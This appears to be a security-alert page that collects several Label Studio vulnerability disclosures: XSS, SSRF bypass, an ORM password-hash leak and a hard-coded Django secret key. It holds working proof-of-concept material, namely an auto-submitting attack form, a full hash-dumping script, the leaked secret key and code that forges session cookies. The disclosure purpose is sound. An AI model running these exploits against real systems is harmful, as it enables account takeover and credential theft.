Where
-Infinity
0
Severity
7.6
EPSS
0.06%
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at labelstudio/projects/views.py. python 39: @requirehttpmethods(['POST']) 40: def uploadexampleusingconfig(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('labelconfig', '') 43: 44: orgpk = getorganizationfromrequest(request) 45: securemode = False 46: if orgpk is not None: 47: org = generics.getobjector404(Organization, pk=orgpk) 48: securemode = org.securemode 49: 50: try: 51: Project.validatelabelconfig(config) 52: taskdata, , = getsampletask(config, securemode) 53: taskdata = playgroundreplacements(request, taskdata) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP400BADREQUEST) 56: else: 57: response = HttpResponse(json.dumps(taskdata)) 58: return response The vulnerability is specifically located in line 57, where HttpResponse is used. python 57: response = HttpResponse(json.dumps(taskdata)) PoC Send the following request after changing the {host} to your own. css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67

labelconfig=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim. html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.05%
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.11.0 and was tested on version 1.8.2.

Overview

Label Studio's SSRF protections that can be enabled by setting the SSRFPROTECTIONENABLED environment variable can be bypassed to access internal web servers. This is because the current SSRF validation is done by executing a single DNS lookup to verify that the IP address is not in an excluded subnet range. This protection can be bypassed by either using HTTP redirection or performing a DNS rebinding attack.

Description

The following tasksfromurl method in labelstudio/dataimport/uploader.py performs the SSRF validation (validateuploadurl) before sending the request.

python def tasksfromurl(fileuploadids, project, user, url, couldbetaskslist): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1]

validateuploadurl(url, blocklocalurls=settings.SSRFPROTECTIONENABLED) # Reason for #nosec: url has been validated as SSRF safe by the # validation check above. response = requests.get( url, verify=False, headers={'Accept-Encoding': None} ) # nosec filecontent = response.content checktasksmaxfilesize(int(response.headers['content-length'])) fileupload = createfileupload( user, project, SimpleUploadedFile(filename, filecontent) ) if fileupload.formatcouldbetaskslist: couldbetaskslist = True fileuploadids.append(fileupload.id) tasks, foundformats, datakeys = FileUpload.loadtasksfromuploadedfiles( project, fileuploadids )

except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return datakeys, foundformats, tasks, fileuploadids, couldbetaskslist

The validateuploadurl code in labelstudio/core/utils/io.py is shown below.

python def validateuploadurl(url, blocklocalurls=True): """Utility function for defending against SSRF attacks. Raises - InvalidUploadUrlError if the url is not HTTP[S], or if blocklocalurls is enabled and the URL resolves to a local address. - LabelStudioApiException if the hostname cannot be resolved

:param url: Url to be checked for validity/safety, :param blocklocalurls: Whether urls that resolve to local/private networks should be allowed. """

parsedurl = parseurl(url)

if parsedurl.scheme not in ('http', 'https'): raise InvalidUploadUrlError

domain = parsedurl.host try: ip = socket.gethostbyname(domain) except socket.error: from core.utils.exceptions import LabelStudioAPIException raise LabelStudioAPIException(f"Can't resolve hostname {domain}")

if not blocklocalurls: return

if ip == '0.0.0.0': # nosec raise InvalidUploadUrlError localsubnets = [ '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', ] for subnet in localsubnets: if ipaddress.ipaddress(ip) in ipaddress.ipnetwork(subnet): raise InvalidUploadUrlError

The issue here is the SSRF validation is only performed before the request is sent, and does not validate the destination IP address. Therefore, an attacker can either redirect the request or perform a DNS rebinding attack to bypass this protection.

Proof of Concept

Both the HTTP redirection and DNS rebinding methods for bypassing Label Studio's SSRF protections are explained below.

HTTP Redirection

The python requests module automatically follows HTTP redirects (eg. response code 301 and 302). Therefore, an attacker could use a URL shortener (eg. https://www.shorturl.at/) or host the following Python code on an external server to redirect request from a Label Studio server to an internal web server.

python from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):

def doGET(self): self.sendresponse(301) # skip first slash self.sendheader('Location', self.path[1:]) self.endheaders()

HTTPServer(("", 8080), RedirectHandler).serveforever()

DNS Rebinding Attack

DNS rebinding can bypass SSRF protections by resolving to an external IP address for the first resolution, but when the request is sent resolves to an internal IP address that is blocked. For an example, the domain 7f000001.030d1fd6.rbndr.us will randomly switch between the IP address 3.13.31.214 that is not blocked to 127.0.0.1 which is not allowed.

Impact

SSRF vulnerabilities pose a significant risk on cloud environments, since instance credentials are managed by internal web APIs. An attacker can bypass Label Studio's SSRF protections to access internal web servers and partially compromise the confidentiality of those internal servers.

Remediation Advice

Before saving any responses, validate the destination IP address is not in the deny list. Consider blocking internal cloud API IP ranges to mitigate the risk of compromising cloud credentials.

Discovered - August 2023, Alex Brown, elttam

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2 and was tested on version 1.8.2.

Overview

Label Studio has a cross-site scripting (XSS) vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website.

Description

The following code snippet in Label Studio shows that the only verification check is that the file is an image by extracting the dimensions from the file.

python

def hashupload(instance, filename): filename = str(uuid.uuid4())[0:8] + '-' + filename return settings.AVATARPATH + '/' + filename <3>

def checkavatar(files): images = list(files.items()) if not images: return None

filename, avatar = list(files.items())[0] # get first file w, h = getimagedimensions(avatar) <1> if not w or not h: raise forms.ValidationError("Can't read image, try another one")

# validate dimensions maxwidth = maxheight = 1200 if w > maxwidth or h > maxheight: raise forms.ValidationError('Please use an image that is %s x %s pixels or smaller.' % (maxwidth, maxheight))

# validate content type main, sub = avatar.contenttype.split('/') <2> if not (main == 'image' and sub.lower() in ['jpeg', 'jpg', 'gif', 'png']): raise forms.ValidationError(u'Please use a JPEG, GIF or PNG image.')

# validate file size maxsize = 1024 1024 if len(avatar) > maxsize: raise forms.ValidationError('Avatar file size may not exceed ' + str(maxsize/1024) + ' kb')

return avatar 1. Attempts to get image dimensions to validate the uploaded avatar file is an image. 2. Extracts the Content-Type from the upload POST request. A user can easily bypass this verification by changing the mimetype of the uploaded file to an allowed type (eg. image/jpeg). 3. The file extension of the uploaded file is never validated and is saved to the filesystem.

Label Studio serves avatar images using Django's built-in serve view, which is not secure for production use according to Django's documentation.

python repath(r'^data/' + settings.AVATARPATH + '/(?P<path>.)$', serve, kwargs={'documentroot': join(settings.MEDIAROOT, settings.AVATARPATH)}),

The issue with the Django serve view is that it determines the Content-Type of the response by the file extension in the URL path. Therefore, an attacker can upload an image that contains malicious HTML code and name the file with a .html extension to be rendered as a HTML page. The only file extension validation is performed on the client-side, which can be easily bypassed.

Proof of Concept

Below are the steps to reproduce this issue and execute JavaScript code in the context of the Label Studio website.

1. Using any JPEG or PNG image, add in the comment field in the metadata the HTML code <script>alert(document.domain)</script>. This can be done using the exiftool command as shown below that was used to create the following image.

bash exiftool -Comment='<script>alert(document.domain)</script>' penguin.jpg

!xss-penguin

2. On Label Studio, navigate to account & settings page and intercept the upload request of the avatar image using a tool such as Burp Suite. Modify the filename in the request to have a .html extension.

3. Right click the image on the avatar profile and copy the URL. Send this to a victim and it will display an alert box with the host name of the Label Studio instance as shown below.

!xss-alert

Impact

Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

Remediation Advice

Validate the file extension on the server side, not in client-side code. Remove the use of Django's serve view and implement a secure controller for viewing uploaded avatar images. Consider saving file content in the database rather than on the filesystem to mitigate against other file related vulnerabilities. Avoid trusting user controlled inputs.

Discovered - August 2023, Alex Brown, elttam

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Infoleak, XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2post0 and was tested on version 1.8.2.

Overview

In all current versions of Label Studio, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.

filter:tasks:updatedbyactiveorganizationactiveuserspassword

For consistency, this type of vulnerability will be termed as ORM Leak in the rest of this disclosure.

In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.

Description

The following code snippet from the ViewSetSerializer in labelstudio/datamanager/serializers.py insecurely creates Filter objects from a JSON POST request to the /api/dm/views/{viewId} API endpoint.

python @staticmethod def createfilters(filtergroup, filtersdata): filterindex = 0 for filterdata in filtersdata: filterdata["index"] = filterindex filtergroup.filters.add(Filter.objects.create(filterdata)) filterindex += 1

These Filter objects are then applied in the TaskQuerySet in labelstudio/datamanager/managers.py.

python class TaskQuerySet(models.QuerySet): def prepared(self, prepareparams=None): """ Apply filters, ordering and selected items to queryset

:param prepareparams: prepare params with project, filters, orderings, etc :return: ordered and filtered queryset """ from projects.models import Project

queryset = self

if prepareparams is None: return queryset

project = Project.objects.get(pk=prepareparams.project) request = prepareparams.request queryset = applyfilters(queryset, prepareparams.filters, project, request) <1> queryset = applyordering(queryset, prepareparams.ordering, project, request, viewdata=prepareparams.data)

if not prepareparams.selectedItems: return queryset

# included selected items if prepareparams.selectedItems.all is False and prepareparams.selectedItems.included: queryset = queryset.filter(idin=prepareparams.selectedItems.included)

# excluded selected items elif prepareparams.selectedItems.all is True and prepareparams.selectedItems.excluded: queryset = queryset.exclude(idin=prepareparams.selectedItems.excluded)

return queryset 1. User provided filters are insecurely applied here by calling the applyfilters that constructs the Django ORM filter.

The PreparedTaskManager in labelstudio/datamanager/managers.py uses the vulnerable TaskQuerySet for building the Django queryset for querying Task objects, as shown in the following code snippet.

python class PreparedTaskManager(models.Manager): #...

def getqueryset(self, fieldsforevaluation=None, prepareparams=None, allfields=False): <1> """ :param fieldsforevaluation: list of annotated fields in task :param prepareparams: filters, ordering, selected items :param allfields: evaluate all fields for task :param request: request for user extraction :return: task queryset with annotated fields """ queryset = self.onlyfiltered(prepareparams=prepareparams) return self.annotatequeryset( queryset, fieldsforevaluation=fieldsforevaluation, allfields=allfields, request=prepareparams.request )

def onlyfiltered(self, prepareparams=None): request = prepareparams.request queryset = TaskQuerySet(self.model).filter(project=prepareparams.project) <1> fieldsforfilterordering = getfieldsforfilterordering(prepareparams) queryset = self.annotatequeryset(queryset, fieldsforevaluation=fieldsforfilterordering, request=request) return queryset.prepared(prepareparams=prepareparams) 1. Special Django method for the models.Manager class that is used to retrieve the queryset for querying objects of a model. 2. Uses the vulnerable TaskQuerySet that was explained above.

The following code snippet of the Task model in labelstudio/tasks/models.py shows that the vulnerable PreparedTaskManager is set as a class variable, along with the updatedby relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.

python ... class Task(TaskMixin, models.Model): """ Business tasks from project """ id = models.AutoField(autocreated=True, primarykey=True, serialize=False, verbosename='ID', dbindex=True)

# ...

updatedby = models.ForeignKey(settings.AUTHUSERMODEL, relatedname='updatedtasks', ondelete=models.SETNULL, null=True, verbosename=('updated by'), helptext='Last annotator or reviewer who updated this task') <1>

# ...

objects = TaskManager() # task manager by default prepared = PreparedTaskManager() # task manager with filters, ordering, etc for datamanager app <2>

# ... 1. The entry point of the filter chain to filter by the updatedbyactiveorganizationactiveuserspassword. 2. The vulnerable PreparedTaskManager being set that will be exploited.

Finally, the TaskListAPI view set in labelstudio/tasks/api.py with the /api/tasks API endpoint uses the vulnerable PreparedTaskManager to filter Task objects.

python def getqueryset(self): taskid = self.request.parsercontext['kwargs'].get('pk') task = generics.getobjector404(Task, pk=taskid) review = boolfromrequest(self.request.GET, 'review', False) selected = {"all": False, "included": [self.kwargs.get("pk")]} if review: kwargs = { 'fieldsforevaluation': ['annotators', 'reviewed'] } else: kwargs = {'allfields': True} project = self.request.queryparams.get('project') or self.request.data.get('project') if not project: project = task.project.id return self.prefetch( Task.prepared.getqueryset( prepareparams=PrepareParams(project=project, selectedItems=selected, request=self.request), kwargs )) <1> 1. Uses the vulnerable PreparedTaskManager to filter objects.

Proof of Concept

Below are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.

1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use. 2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain. 3. Navigate to the task view for the project and add any filter with the Network inspect tab open on the browser. Look for a PATCH request to /api/dm/views/{viewid}?interaction=filter&project={projectid} and save the viewid and projectid for the next step. 4. Download the attached proof of concept exploit script named labelstudioormleak.py. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the {viewid}, {projectid}, {cookiestr} and {url} with the corresponding values. For further explanation run python3 labelstudioormleak.py --help.

bash python3 labelstudioormleak.py -v {viewid} -p {projectid} -c '{cookiestr}' -u '{url}'

The following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=.

!labelstudioormleakpoc

Impact

This vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions <=1.8.1, this finding can also be chained with hard coded SECRETKEY to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.

Remediation Advice

Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields. Validate filter values to an allow list before performing any queries.

Discovered - August 2023, Alex Brown, elttam

--- labelstudioormleak.py proof of concept

py import argparse import re import requests import string import sys

Password hash characters CHARS = string.asciiletters + string.digits + '$/+=!' CHARSLEN = len(CHARS)

PAYLOAD = { "data": { "columnsDisplayType": {}, "columnsWidth": {}, "filters": { "conjunction": "and", "items": [ { "filter": "filter:tasks:updatedbyactiveorganizationactiveuserspassword", # ORM Leak filter chain "operator": "regex", # Use regex operator to filter password hash value "type": "String", "value": "REPLACEME" } ] }, "gridWidth": 4, "hiddenColumns":{"explore":["tasks:innerid"],"labeling":["tasks:id","tasks:innerid"]}, "ordering": [], "searchtext": None, "target": "tasks", "title": "Default", "type": "list" }, "id": 1, # View ID "project": "1" # Project ID }

def parseargs() -> argparse.Namespace: parser = argparse.ArgumentParser( description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio' )

parser.addargument( '-v', '--view-id', help='View id of the page', type=int, required=True )

parser.addargument( '-p', '--project-id', help='Project id to filter tasks for', type=int, required=True )

parser.addargument( '-c', '--cookie-str', help='Cookie string for authentication', required=True )

parser.addargument( '-u', '--url', help='Base URL to Label Studio instance', required=True )

return parser.parseargs()

def setup() -> dict: args = parseargs() viewid = args.viewid projectid = args.projectid path1 = "/api/dm/views/{viewid}?interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) path2 = "/api/tasks?page=1&pagesize=1&view={viewid}&interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) PAYLOAD["id"] = viewid PAYLOAD["project"] = str(projectid) configdict = { 'COOKIESTR': args.cookiestr, 'URLPATH1': args.url + path1, 'URLPATH2': args.url + path2, 'PAYLOAD': PAYLOAD } return configdict

def testpayload(configdict: dict, payload) -> bool: sys.stdout.flush() cookiestr = configdict["COOKIESTR"] rset = requests.patch( configdict["URLPATH1"], json=payload, headers={ "Cookie": cookiestr } )

rlisten = requests.get( configdict['URLPATH2'], headers={ "Cookie": cookiestr } )

rjson = rlisten.json() return len(rjson["tasks"]) >= 1

def testchar(configdict, knownhash, c): jsonpayloadsuffix = PAYLOAD testescaped = re.escape(knownhash + c) jsonpayloadsuffix["data"]["filters"]["items"][0]["value"] = f"^{testescaped}"

suffixresult = testpayload(configdict, jsonpayloadsuffix) if suffixresult: return (knownhash + c, c) return None

def main(): configdict = setup() # By default Label Studio password hashes start with these characters knownhash = "pbkdf2sha256$260000$" print() print(f"dumped: {knownhash}", end="") sys.stdout.flush()

while True: found = False

for c in CHARS: r = testchar(configdict, knownhash, c) if not r is None: newhash, c = r knownhash = newhash print(c, end="") sys.stdout.flush() found = True break

if not found: break

print()

if name == "main": main()

1 / 2
First published (updated )
Severity
9.8
Infoleak, XEE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.

Overview

In Label Studio version 1.8.1, a hard coded Django SECRETKEY was set in the application settings. The Django SECRETKEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.

However, the Django framework inserts a authuserhash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRETKEY.

Description

Below is the code snippet of the Django settings file at labelstudio/core/settings/base.py.

python SECURITY WARNING: keep the secret key used in production secret! SECRETKEY = '$(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n'

This secret is hard coded across all instances of Label Studio.

Proof of Concept

Below are the steps that an attacker could do to forge a session token of any account on Label Studio:

1. Exploit the ORM Leak vulnerability (patched in 1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email ghostccamm@testvm.local with the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw= that was retrieved.

2. Create a new Django project with an empty application. In cookieforge/cookieforge/settings.py set the SECRETKEY to $(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.

python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import saltedhmac from django.conf import settings import time, uuid

class Command(BaseCommand): help = "Forge a users session cookie on Label Studio"

def addarguments(self, parser: CommandParser) -> None: parser.addargument( '-o', '--organisation', help='Organisation ID to access', default=1, type=int )

parser.addargument( 'userid', help='The User ID of the victim you want to impersonate', type=str )

parser.addargument( 'userhash', help='The password hash the user you want to impersonate' )

def handle(self, args: Any, options: Any) -> str | None: key = settings.SECRETKEY # Creates the authuserhash HMAC of the victim's password hash authuserhash = saltedhmac( 'django.contrib.auth.models.AbstractBaseUser.getsessionauthhash', options['userhash'], secret=key, algorithm="sha256" ).hexdigest()

sessiondict = { 'uid': str(uuid.uuid4()), 'organizationpk': options['organisation'], 'nextpage': '/projects/', 'lastlogin': time.time(), 'authuserid': options['userid'], 'authuserbackend': 'django.contrib.auth.backends.ModelBackend', 'authuserhash': authuserhash, 'keepmeloggedin': True, 'sessionexpiry': 600 }

# Creates a forged session token sessiontoken = signing.dumps( sessiondict, key=key, salt="django.contrib.sessions.backends.signedcookies", compress=True )

self.stdout.write( self.style.SUCCESS(f"session token: {sessiontoken}") )

3. Next run the following command replacing the {userid} with the user ID of the account you want to the impersonate and {userhash} with the victim's password hash. Copy the session token that is printed.

python python3 manage.py forgecookie {userid} '{userhash}'

4. Change the sessionid cookie on the browser and refresh the page. Observe being authenticated as the victim user.

Impact

This vulnerability can be chained with the ORM Leak vulnerability (which was patched in 1.9.2post0) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.

Remediation Advice

It is important to note that the hard coded SECRETKEY has already been removed in Label Studio versions >=1.8.2. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.

We recommend that Human Signal to release a public disclosure about the hard coded SECRETKEY to encourage users to patch to a version >=1.8.2 to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.

Discovered - August 2023, Robert Schuh, @robbilie - August 2023, Alex Brown, elttam

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203